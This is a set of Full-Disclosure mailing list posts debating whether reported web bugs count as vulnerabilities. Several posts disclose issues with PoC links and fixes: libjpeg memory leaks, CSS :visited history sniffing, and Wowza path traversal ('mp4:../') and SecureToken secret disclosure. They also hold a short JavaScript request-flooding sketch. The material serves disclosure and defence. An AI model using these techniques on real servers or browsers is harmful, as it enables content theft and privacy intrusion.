Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
As a professional penetration tester, [...]
The JSON service responds to GET requests , and there is a good chance that
the service is also vulnerable to JSON Hijacking attacks.
That's... not how XSSI works.
To have a script inclusion vulnerability, you need to have a vanilla
GET response that contains some user-specific secrets that are
returned to the caller based on HTTP cookies (or, less likely, other
ambient credentials). For example, a script response that discloses
the contents of your mailbox or the list of private contacts would be
of concern.
Further, the response must be in a format that can be not only loaded,
but also inspected by another site opened in your browser; most types
of JSONP fall into this category, but JSON generally does not,
essentially because of how the meaning of { is overloaded in JS
depending on where it appears in a block of code.
Last but not least, the final piece of the puzzle is that the response
must be served at a URL that can be guessed by third parties who don't
have access to your account.
/mz
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
A hacker exploits a JSON (javascript) object that has information of interest for example holding some values for cookies. A lot of times that exploits the same policy origin. The JSON object returned from a server can be forged over writing javascript function that create the object. This happens because of the same origin policy problem in browsers that cannot say if js execution it different for two different sites. To be honest, I'm not sure I follow, but I'm fairly confident that my original point stands. If you believe that well-formed JSON objects without padding can be read across origins within the browser, I would love to see more information about that. (In this particular case, it still wouldn't matter because the response doesn't contain secrets, but it would certainly break a good chunk of the Internet.) JSONP is a different animal. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Is this treated with the same way that says that Remote File Inclusion is not a security issue ? I'm not sure how RFI came into play on this thread - the original report wasn't about RFI. I don't have an agenda here; I'm just trying to get to the bottom of it and make sure that we converge on a common understanding of the issue. As in any argument, it's fairly likely that one of us is wrong, and I accept that it could very well be me - I have been wrong quite a few times in my life, and it's always a valuable learning opportunity. I think it's unfortunate that the thread has devolved into various accusations and credential-slinging, because it reduces the likelihood of such a productive outcome. Please feel free to ping me directly any time, though - I'm happy to chat. Cheers, /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
The thread read Google vulnerabilities with PoC. From my understanding it was a RFI vulnerability on YouTube, and I voiced my support that this is a vulnerability. I don't think this is accurate, at least based on the standard definition of RFI: a server-side scripting language - usually PHP - accidentally executing a script fetched from a remote server because it passed an attacker-controlled string to an API that allows both local file paths and remote URLs. The report talks about a different behavior: the ability for users to upload video and non-video content using legitimate functionality of the site, without a way to make the server do anything interesting with the received data. This may or may not be interesting on its own merit, but I think it's pretty far from RFI. I also explained a JSON Hijacking case as a follow up, and you said you didn't follow. Yup, I am genuinely not familiar with the attack vector that *I think* you are describing, or why it would matter in this context. My earlier message in this thread explains my reasoning (in essence, there are certain conditions that have to be met for a typical XSSI bug, and I don't think they are met here), but if my understanding is wrong, I'd really like to learn about the proposed attack. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
Zakewski, Thank you for your e-mail. I welcome all opinions, that are backed up by evidences. I am not just a security researcher, I am also an academic in the field and lecturer. All right :-) Thank you for the overview of CIA triad. I don't think there's a good probability that our thinking about this report will converge - but if you see demand for the approach you are advocating (be it in the academia or in the consulting business), I think that's fair. Cheers, /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Oh, wow :-) To put things in perspective, it probably helps to understand that virtually all video hosting sites perform batch, queue-based conversions of uploaded content. There is a good reason for this design: video conversions are extremely CPU-intensive - and an orderly, capped-throughput queue gives you much better resilience to DoS attacks. Alas, this model is not very user-friendly: it may take good 20 minutes to upload a clip to Vimeo over my lowly DSL connection, and then another 40 to wait my turn in the conversion queue. If the video I uploaded turns out to be in an unsupported format (I'm still using MS-CRAM), I have just wasted an hour of my time. A simple workaround would be for Vimeo to have a client-side check that flags obvious problems before sending any data to the server. It's not a security feature, but it minimizes my pain. Does it make sense to duplicate this check on the server, too? You could, but I don't think it adds real value: after all, the converter will sooner or later perform the same check anyway. And for users who want to take Vimeo down, uploading tons of cat videos makes more sense: after all, converting them will cost more than just bailing out early on an invalid file. As for other attacks you mention: it's fairly easy to construct valid videos that also work as file archives, HTML documents, or shell scripts. Ultimately, sites that deal with user-supplied content often have to make tough decisions that don't fit in the neat defitions of ISO standards or academic papers of the old. Mechanisms such as quotas, various abuse-detection heuristics, rapid scalability - and even user education and good UX design - go hand-in-hand with more traditional approaches to minimizing risk. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
The only reasonable way to 'exploit' the bug is using youtube as a personal storage uploading non-video files to your own profile: so what? That would require a way to retrieve the stored data, which - as I understand - isn't possible here (although the report seems a bit hard-to-parse). From what I recall, you can just upload a blob of data and essentially see it disappear. We do have quite a few services where you can legitimately upload and share nearly-arbitrary content, though. Google Drive is a good example. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
If you were evil, you could upload huge blobs and just take up space on the google servers. Keep in mind that the upload functionality is there legitimately: you can upload gigabytes of data to Youtube, Drive, Gmail, etc. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
Nicholas, I remember my early years in the infosec community - and sadly, so do some of the more seasoned readers of this list :-) Back then, I thought that the only thing that mattered is the ability to find bugs. But after some 18 years in the industry, I now know that there's an even more important and elusive skill. That skill boils down to having a robust mental model of what constitutes a security flaw - and being able to explain your thinking to others in a precise and internally consistent manner that convinces others to act. We need this because the security of a system can't be usefully described using abstract terms: even the academic definitions ultimately boil down to saying the system is secure if it doesn't do the things we *really* don't want it to do. In this spirit, the term vulnerability is generally reserved for behaviors that meet all of the following criteria: 1) The behavior must have negative consequences for at least one of the legitimate stakeholders (users, service owners, etc), 2) The consequences must be widely seen as unexpected and unacceptable, 3) There must be a realistic chance of such a negative outcome, 4) The behavior must introduce substantial new risks that go beyond the previously accepted trade-offs. If we don't have that, we usually don't have a case, no matter how clever the bug is. Cheers (and happy hunting!), /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [OT] pls ignore
Looks like root and intermediate certificate hashes to me I was guessing it was hashes to either one pre-compiled exploit with two architectures No, if you look closely, it's pretty clear that it's a hash of Gaurang's upcoming novel. A touching story of love between a vampire and a small-town girl. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Clickjacking (?) on Facebook.com (Question)
What is your exact concern? One should obviously not enter their Facebook credentials while the address bar shows darksecurity.de; after all, instead of framing Facebook, you could just create a fake login form that looks just like theirs. Clickjacking is a distinct concern, but generally only in cases where a UI action with serious consequences (e.g., deleting your account, sharing something with a stranger) can be accomplished in one or several clicks. The pages you are framing don't seem to fall into this category. It's worth noting that XFO doesn't fully eliminate the risk: http://lcamtuf.blogspot.com/2011/12/x-frame-options-or-solving-wrong.html An interesting consequence of pages that show your login or other personal information, and can be framed, is that they make phishing a bit easier: you can cleverly arrange them to imply that the top-level page knows who you are. But the gain here probably isn't dramatic. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Clickjacking (?) on Facebook.com (Question)
That page allows drag-and-drop of the user's name. If you can convince the user to select his name with a triple-click and then do a drag-and-drop of that name to some place outside the iframe, you can find out his name, so I'd say it's a privacy leak. I had something to do with Chrome, Safari, and Firefox disallowing cross-domain drag-and-drop: http://lcamtuf.coredump.cx/dnd/ We have pinged Microsoft long time ago about this, too - and hopefully this will be resolved on their end (at that rate, somewhere by year 2032). But I wouldn't consider it a failing on part of the targeted website - you'd need to put essentially everything behind XFO to fix this problem on application level, which is not feasible for a good number of websites (including FB, because they have a variety of gadgets that are meant to be framed). Yeah, Chromium has protections against that, but they're not exactly bulletproof – they become useless as soon as there's a single page on the victim domain that is framable and somehow lets the user publish data. Well, honestly, that becomes a bit of a stretch - if there's a good PoC you can put together for Facebook specifically, I suspect it may convince them to fix this, though. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Clickjacking (?) on Facebook.com (Question)
But I wouldn't consider it a failing on part of the targeted website - you'd need to put essentially everything behind XFO to fix this problem on application level, which is not feasible for a good number of websites (including FB, because they have a variety of gadgets that are meant to be framed). Or use JS to make it impossible to select text or so. Doesn't work for non-HTML content, such as JSON responses, images, etc :-) /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Clickjacking (?) on Facebook.com (Question)
Doesn't Google always send JSON with Content-Disposition: attachment or so because of that? One of the reasons (there's also content sniffing, etc). But then, consider view-source:, too - you can use it in Firefox to render the source of a HTML page in a frame (Chrome no longer lets you use view-source within frames). /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] bugs in IJG jpeg6b libjpeg-turbo
Dearly beloved, So, for one reason or another, the IJG jpeg library has gained some notoriety as one of the most robust pieces of complex, security-critical C code. Despite countless fuzzing efforts, I don't recall any reports of serious vulnerabilities at least since the release of jpeg6b in 1998 (that's still the most commonly-used version of that library). Compared to the track record of libraries such as libpng or libtiff, that's quite a feat. Well, as it happens, jpeg6b and some of its optimized clones (e.g., libjpeg-turbo) will use uninitialized memory when decoding images with missing SOS data for the luminance component (Y) in presence of valid chroma data (Cr, Cb). Here's a nice PoC for Chrome, Firefox Safari, with fixes shipping as we speak (CVE-2013-6629): http://lcamtuf.coredump.cx/jpeg_leak/ Funnily enough, as we were investigating this finding, we noticed that the problem has been independently spotted back in 2003, but not recognized as a security issue: http://bugs.ghostscript.com/show_bug.cgi?id=686980 The patch developed by Ghotscript folks to fix rendering problems with a particular document apparently ended up in limbo until 2013, at which point it was incorporated into a relatively little-used version 9 of IJG jpeg. As far as I can tell, there are no changelog entries associated with this fix. Anyway, if you're using libjpeg-turbo, jpeg6b, or any derived code, you probably want to backport the changes to get_sos() in jdmarker.c. Look for the section that talks about checking for unique component IDs. A new version of libjpeg-turbo will probably fix this upstream soon. I wouldn't expect upstream fixes to jpeg6b itself. ... While we're on the topic of JPEG libraries... a bit less interestingly, there is also a separate but similar issue in the handling of Huffman tables in libjpeg-turbo. This one apparently does not affect IJG jpeg, and doesn't such a colorful history to go with it. A raw image illustrating the problem (CVE-2013-6630) is here: http://lcamtuf.coredump.cx/jpeg_leak/turbo-dht.jpg A simple fix for this is to locate get_dht in jdmarker.c and make sure that the huffval[] table is zeroed before use. ... Well, that's it. As far as the impact goes, similar info leaks have been previously shown to allow a variety of things in the browser environment, including cookie theft or bypassing ASLR; see http://vexillium.org/?sec-ff for one cool example. The general case of code that performs one-shot image conversions in a separate process is of minimal concern; in-process or multi-shot conversions can be problematic. Converters that do not directly decode user-supplied JPEGs should be OK. PS. If you're interested about the tool used to generate and isolate these inputs, check out http://code.google.com/p/american-fuzzy-lop/ /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] CALEA Re: XKeyscore
On 8/12/13 3:07 PM, Pedro Luis Karrasquillo wrote: That was really funny and tongue-in-cheek, michal! I really enjoyed your response, put a grin in my face in this grimy Monday... you encourage me to turn off the digest delivery and receive the responses as they happen instead... great list to receive real time if you are into SM and getting trolled hard by very smart people! Happy to make you happy! :-) On slide 7 they show a red dot over Venezuela. You think Chavez let the spooks tap into the fiber there too? Where does the fiber tap connect to? Oh wait, there is a red dot over Moscow too... The red dots are basically showing places where NSA can intercept communication. Any communication. Ever heard about radio links? Oh wait, NSA was intercepting Soviet communication for ages, including the private phone from communist leaders car phone. I bet they didn't agree, either ;) tborland nailed it with the links he sent... you do not need tons of copper, glass mirrors, nor Mulder Scully on the case to do this. No need to ship immediate data to Utah or any other central location either. Data could be indexed locally and only the relevant keywords posted to CC. Ever heard of distributed computing? Nobody dumps CDR data to tape to hand it over to mediation any more. Oh, wait... the DACS is still connected to that Okidata Dot matrix printer and the ink tape needs to be changed... bye. Man, you just created a mental loop in what you said. So, two lines earlier you said Chavez / Putin would not allow them to intercept communication by means of taping cables and now you are saying that ... NSA was able to install a quite complicated distributed architecture in Moscow. I'm sure mr Putin would be happy to talk with you and it might be an experience you could brag about all day and night long. You should definitely call him. You don't need to intercept Russian traffic in Russia. Ever heard about Internet Exchange Points? The traffic will, sooner or later, leave the country. And if it does not, and stays local, and you have no local means, you are out of luck. No magic there, only a network design. Cisco architecture is there, like there are many others. And it's just one of the brands. You just use best means you have for the situation. And it's accidentally managed by SNMP... so what? It could be telnet, who cares. These days you just mix and match all the technologies you have for intercepting. And whenever you can tap the cable, you do it, because it gives you the best bang for the buck. Red dots are most likely (guessing here) - we can have data from there. It does not mean everything but something. To show off to everyone how great we, the NSA are. What the heck, you need slides like that for the budget planning. Seriously, decide what do you want to say ;) ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] CALEA Re: XKeyscore
On 8/12/13 4:57 PM, Pedro Luis Karrasquillo wrote: Man, you just created a mental loop in what you said. So, two lines earlier you said Chavez / Putin would not allow them to intercept communication by means of taping cables and now you are saying that Oh noes! CRC error detected. You just had a buffer overflow. Sorry I caused you to loop up. I never said Putin or Chavez would be in a position to agree or disagree with anything. Especially Chavez now that he is fertilizing the sugar cane. Certainly a CALEA kind of intercept is not the only tool they could use. I just do not think that fiber tapping is the easiest way. It is certainly one of the ways, but getting the info via a backdoor is really much easier where feasible, like in unfriendly states. The backdoor being the CALEA capability. Don't be afraid, I'm fine - my brain has a recent copy of PaX and everything here is PIE compiled. NX enabled, 100% ASLR, no information leaks at all, no JIT generation allowed. Utopia! You can't use CALEA in Venezuela easily. Read on, to learn why. Same goes for Russia. Cisco architecture is there, like there are many others. And it's just one of the brands. You just use best means you have for the situation. And it's accidentally managed by SNMP... so what? It could be telnet, who cares. These days you just mix and match all the technologies you have for intercepting. And whenever you can tap the cable, you do it, because it gives you the best bang for the buck. Exactly my point. Not sure why you all got so worked up about me pointing out that there are easier ways to do this than tap a fiber. Tapping a fiber is a good idea if there is not an easier less intrusive way. The spooks could not care less about money, it is all about getting it done without getting noticed. I see... you misunderstood the documentation. Go and read it again. You're trying to tell that CALEA is a backdoor that NSA can use all the time to get traffic. And here's why not: 1. It's a set of SNMP commands efficiently configuring a filter doing 'find me all this data, and ship here'. Kind of a span port with a filter. Over-engineered, BTW. 2. Being SNMP it must be configured befored used. Yes, I've read all the documentation - fascinating lecture, I have to say! 3. When was the last time you've seen SNMP opened to the public? Been a while here. And even if, the whole CALEA capability must be configured _before_ used. Not something you can do by accident, and _not_ running by default either. 4. There's a lot of additional gear to accept the intercepted traffic and ship it further. It needs to be installed somewhere, before you can monitor things. 5. There's a lot of data everywhere these times. You cannot monitor entire ISP this way, or they would need to keep a few Gbits of spare bandwidth just for the NSA. Actualy, I'd make a deal with them - you guys in a tasteless black suits pay for all my bandwidth and I can give you half ;) Local processing, you say? Distributed computing? Mr Putin won't allow you. Shipping all the traffic to a friendly country to process there? Say, Germany? Sure, and no-one from the Russian ISP would ever notice? Especially, that the CALEA traffic is visible as a hell - being either UDP or IPSEC. 6. Cisco says it puts the load on a CPU. And it does. Now, the routing engines even in expensive modern network gears aren't exactly the speed beasts. My phone leaves them in the dust. How much traffic can you extract this way, making the CPU work three times harder, before it starts dropping BGP sessions? To sum up - sure, you can use CALEA to extract traffic in a limited way. Say a few VOIP sessions. But in order for that to happen you need to have the agreement with the ISP, put your gear there, have it configured an than you can have fun. But CALEA isn't a backdoor, that NSA has put everywhere to miraculously ship all the traffic to them. Say I have a few of Cisco routers - they cannot send me a magic packet and expect traffic to be sent to them. And yes, I know my traffic levels very well, and so does our NOC team - let's say the NSA copies everything - that means I have twice the traffic suddenly. I'd be waken up in a middle of the night by the NOC people to investigate if something like this would happen. Red dots? Tap the fibre in decix and there's for sure some communication from Moscow. So you can say you get some Moscow traffic and put a red spot there. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
for doing this features in httpd.conf you can use AllowOverride None instead of AllowOverride all AllowSymlinks is a red herring here (hardlinks should do, unless you have stuff partitioned in a very thoughtful way, which most don't), similarly to suexec. In general, sharing web hosting providers that allow shell access or scripting are pretty much boned in a myriad of ways. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] XKeyscore sees 'nearly EVERYTHING you do
On 8/11/13 4:16 AM, Pedro Luis Karrasquillo wrote: TAPs are no longer physical devices a spy installs on a wire somewhere. NSA picks this up remotely via a very secret SNMP command. I explained this in detail here: http://dustupblog.com/2013/06/11/privacy-in-america-is-a-myth-lets-thank-ourselves/ I been in networking since 1996... And never got my 5 minutes of fame, so decided to try here. Bad idea, I would say, too many smart people here. That's actualy a very laughable, so I enjoyed it! So, NSA throws a super secret black boxes everywhere. They have to be black, so the spy-climate is dense enough. You are in networking from so long, tell me than. In order to intercept a lot of traffic, would you rather do it like described and spent lots of money, do a lots of cabling (packets needs them, you know?) and maintain tons of the boxes, or just tap fibres and get the same packets wholesale? That would be a very, very bad design to do the number 1 design. Taping is just easier and there's less people involved. Also, that's even more funny, because we actualy know that SNMP and MIB are for and it just blowns your story. How do you monitor packets via SNMP? Say, you have your top secret command and the router/switch/firewall starts shipping packets to NSA... but WHERE? How do they appear on a target box? Magic? UFO? Mind reading? You would need a CABLE from MANY devices to your collecting server. Too many of them to make it possible. Kind of a span port I guess. But you would overflow it quickly, too. So you need many span ports from each of the devices... so many that next time I make a business plan and buy a new network gear, I will have to factor that in and add a we need 10 more ports for NSA, but don't ask about it. BTW, I've figured out the Top Super Secret Umbra Venona key. It's described here, in plaintext. https://kb.juniper.net/InfoCenter/index?page=contentid=KB10878 Now, NSA will have all of us killed. Too bad I'm in the car, might be able to escape. Let me turn off all my cellphones or even throw them away, just in case. Or maybe abandon my car, and walk - looking over my shoulder from time to time and taking a circular route. So, you don't need a secret SNMP command, you can just configure your span port / mirroring port. In order to intercept that amount of traffic you would need to span so many devices that it's impossible. See also the span port overflow remark. Oh and bad shoot with the MIBs too. They are just ... numbers representing what kind of info do you want (more or less). There's no magic either. Of course, because you need so many span ports, it's a worldwide conspiracy among most of the ISP network engineers - someone has to connect the cable, you know. Or is the cable translucent and invisible? And connected to the invisible port, too? Now I feel that all these years I've been working at ISP I was missing out a lot of crazy and fancy work! SURE they are intercepting lots of data, but doing it in a most smart and efficient way possible - they got some Big Brainz behind it, too. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] XKeyscore sees 'nearly EVERYTHING you do online
On 8/2/13 1:21 PM, Gary Baribault wrote: Having access to the building is ok, but you still need to sniff the fibre, and in a centre like that any tap would be found quickly by one tech or another .. the guys from NANOG are good, so the deal must be with the carriers. The guys from NANOG are great indeed, but that's way above them :) Deal with carrier is a one thing, silent deals with IX another. And surely they do both. You can also tap in many places when cable is going from/to the ocean (needs a carrier deal, so what? Easy.) Also, there's a lot of carrier connectivity on wireless - think satellite, or directed micro waves links. It's much easier to use a satelite for say, a phone calls than connecting your XX islands with a fibre. Guess what these guys are doing: 1. https://en.wikipedia.org/wiki/Special_Collection_Service 2. FORNSAT 3. SSO, which is the Special Source Operations division, the branch of NSA which taps cables, finds microwave paths, and otherwise collects data not generated by F6 or foreign satellites. (from Wikipedia) I just wonder how many of the under water cable repairs were caused by a real incidents, and how many not really ;) There's no magic, you need to disconnect the cable for a while to tap it. If it's a 'legit' connection then No Problèmo Gary B On 08/02/2013 07:04 AM, Joseph Jackson wrote: Why would they need to peer with all tier 1s? If you get access to the major exchange points (1 wilshire, 60 hudson, etc) you will get the majority of traffic. *From:*Full-Disclosure [mailto:full-disclosure-boun...@lists.grok.org.uk] *On Behalf Of *XF *Sent:* Thursday, August 01, 2013 3:47 PM *To:* Gary Baribault *Cc:* full-disclosure@lists.grok.org.uk *Subject:* Re: [Full-disclosure] XKeyscore sees 'nearly EVERYTHING you do online So you think this is real ? All Tiers 1 would be partner with NSA ? Even in Europ ? This sound crazy Le 1 août 2013 à 22:19, Gary Baribault g...@baribault.net mailto:g...@baribault.net a écrit : Don't forget that they also have to back haul that data to their data centres !! They would have to have secret agreements with all of the Tier 1 carriers. Sure sounds far fetched! Gary B On 08/01/2013 03:51 PM, XF wrote: Right. But where are their tap ? In Internet Exchange Point ? In AS ? And how can they do that ? Hello, I'm NSA, can I get a TAP on your network :-) This would say that ISP agree and the amount of data to transfer would be so vast . How can they transfer all this amount of data into their system ?? Le 1 août 2013 à 20:56, Gary Baribault g...@baribault.net mailto:g...@baribault.net a écrit : Optically tapping ALL of the submarine cable going into and out of the U.S. would still not give them ALL of the claimed data. They have to be tapping all of the major traffic exchange sites in the U.S. to get this kind of data. Gary B On 08/01/2013 11:31 AM, XF wrote: Did you understood how they collect data ? This is not clear for me...ISP backdoor ? Optical tap on sub marine wire ? Le 1 août 2013 à 16:26, Georgi Guninski gunin...@guninski.com mailto:gunin...@guninski.com a écrit : it will be interesting to me what will remain of the nsa when the chinese comrades stop giving fresh money to the usa. Detroit news are not very pink. On Thu, Aug 01, 2013 at 11:20:27PM +1200, Hugh Davenport wrote: meanwhile, in new zealand, prime minister suggests that we aren't the slaves for nsa... On 2013-08-01 19:23, Georgi Guninski wrote: XKeyscore sees 'nearly EVERYTHING you do online http://www.theregister.co.uk/2013/07/31/prism_put_in_the_shade_by_leak_about_even_more_powerful_snoop_tool/ New NSA tool exposed: XKeyscore sees 'nearly EVERYTHING you do online' From the presentation: * Show me all the exploitable machines in country X * How do I find a cell of terrorust that has no connection to known strong-selectors
Re: [Full-disclosure] Denial of Service in WordPress
I.e. this is 21 times / infinite times more effective for attack.
Not really, in terms of the bandwidth you can use up / the number of
requests you can create. You're essentially trading this:
for (var i = 0; i whatever; i++) {
var x = new XMLHttpRequest(); /* or new Image() or whatever */
...
}
...for this:
for (var i = 0; i whatever / redirect_limit; i++) {
for (var j = 0; j redirect_limit; j++) { /* implicit loop */
...
}
}
...and it shouldn't matter.
You can generate a ton of expensive traffic from within JS these days.
/mz
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Denial of Service in WordPress
Attack exactly overload web sites presented in endless loop of redirects. As I showed in all cases of Looped DoS vulnerabilities in web sites and web applications, which I wrote about during 2008 (when I created this type of attacks) - 2013. You do realize that any browser can be made to issue a *lot* of requests to any other destination on the web - say, by instantiating a bunch of images, leveraging CORS, navigating iframes, etc? Browsers detect redirect loops to prevent accidental mishaps and simplify troubleshooting, not to stop malicious attacks. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Paypal Bug Bounty #31 - Mail Encoding Web Vulnerability
Total word count: ~1065 Words that provide relevant information about the bug: ~95 /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Using CSS :visited to steal your history (again, zzzz...)
I guess this may be somewhat amusing... As you probably know, most browser vendors have fixed the ability to enumerate your browsing history through the CSS :visited pseudo-selector. The fix severely constraints the styling possible for visited links, and hides it from APIs such as window.getComputedStyle() [1]. The fix does not prevent attackers from extracting similar information through cache timing [2], or by examining onerror / onload events for scripts and images loaded from sites to which you may be logged in. Nevertheless, the :visited attack is particularly versatile and reliable, so several people have tried to circumvent the fix by showing the user a set of hyperlinked snippets of text that, depending on the browsing history, will blend with the background or remain visible on the screen. Their visibility can be then indirectly measured by seeing how the user interacts with the page. The problem with these attacks is that they are either unrealistic, or extremely low-throughput. So, here is a slightly more interesting entry for this contest. The PoC works in Chrome and Firefox, but should be easily portable to other browsers: http://lcamtuf.coredump.cx/yahh/ The basic idea behind this inferior clone of Asteroids is that we hurl a lot of link-based asteroids toward your spaceship, but you only see (and take down) the ones that correspond to the sites you have visited. There are several tricks to maintain immersion, including some proportion of real asteroids that the application is sure are visible to you. The approach is easily scalable to hundreds or thousands of URLs that can be tested very quickly, as discussed here: http://lcamtuf.blogspot.com/2013/05/some-harmless-old-fashioned-fun-with-css.html Captain Obvious signing off, /mz [1] https://developer.mozilla.org/en-US/docs/CSS/:visited [2] http://lcamtuf.blogspot.com/2011/12/css-visited-may-be-bit-overrated.html ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] WowzaMediaServer StorageDir escape (regression)
Product: Wowza Media Server URL: http://www.wowza.com/ Description: WMS is a quite popular RTMP/HLS/HDS/RTSP streaming server Issue: In early 2009 I reported problem with processing of requests with relative paths. The issue surfaced again. In a nutshell, you can escape Applications StorageDir using relative path. Lets say you have two applications: * vod1 with /usr/local/WowzaMediaServer/content1/ as StorageDir * vod2 with /usr/local/WowzaMediaServer/content2/ as StorageDir Requesting to play `mp4:../content1/file.mp4` from `vod2` will work just fine thus bypassing configured StorageDir. Possible workarounds: * Implement custom module that supplies either `IMediaStreamNameAliasProvider2` or `IMediaStreamFileMapper` override which blocks requests falling outside configured `StorageDir` * Use StreamNameAlias module to block requests with relative paths * Upgrade to Wowza 3.5.2.06 (patch that hopefully fixes this issue) * Don't use predictable paths Timeline: * 2013-04-06 Wowza Media Services contacted about this issue * 2013-04-08 Wowza acknowledges this bug, no further info received * 2013-04-30 Public release due to vendor's non-cooperation M. -- Michal J. wejn(at)box.cz I honestly think it is better to be a failure at something you love than to be a success at something you hate... -- George Burns ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] WowzaMediaServer SecureToken bypass (and worse)
Product: Wowza Media Server URL: http://www.wowza.com/ Description: WMS is a quite popular RTMP/HLS/HDS/RTSP streaming server Issue: By default all installations of WMS use four modules in their application's config file: base, properties, logging, flvplayback. I've found out that the `properties` module allows unauthenticated attacker to get/set various properties (Client, MediaStream, ApplicationInstance, and Application). Since ApplicationInstance properties are commonly used to store sensitive data (for instance `secureTokenSharedSecret` property used to secure origin-edge and/or client-origin RTMP connections, backend credentials, etc) this poses non-trivial risk. Fetching the abovementioned `secureTokenSharedSecret` property from the streaming server allows attacker to easily employ rtmpdump (and the like) to dump VOD files and/or in extreme cases re-stream directly from origin. As a demo I've implemented straightforward patch to JWPlayer (popular Flash player) that bypasses SecureToken protection on the fly. This demo is available in a long-winded blog post at my company's website: http://tinyurl.com/wontyoupleasethinkoftheusers As for the `logging` module, this can be used to fill logfile with nonsensical log entries (and worse). Workaround: Disable both `properties` and `logging` modules unless you absolutely need them (99% of the people running WMS probably don't) or wait for vendor fix. Timeline: * 2013-04-06 Wowza Media Services contacted about this issue * 2013-04-08 Wowza rep states that this is a non-issue and accuses me of scaremongering * 2013-04-19 After subsequent rounds of communication, Wowza rep threatens to reevaluate my independent consultant status if this info disclosed * 2013-04-27 Contacting Wowza rep with non-public preview of this post including the JWPlayer demo (last shot at responsible disclosure) * 2013-04-28 Wowza rep responds with more indirect threats, info that this will be resolved sometime in the future and a plea won't you please think of the users * 2013-04-30 Public release due to vendor's non-cooperation M. -- Michal J. wejn(at)box.cz I honestly think it is better to be a failure at something you love than to be a success at something you hate... -- George Burns ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Allegro.pl XSS [0-day]
CVSS2 define a standard XSS ~4.3/10, more critical are CSRF ~6.8 or Open Redirect ~5.8 head explodes ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Exploiting sibling domains cookie isolation policy to DoS CDN users
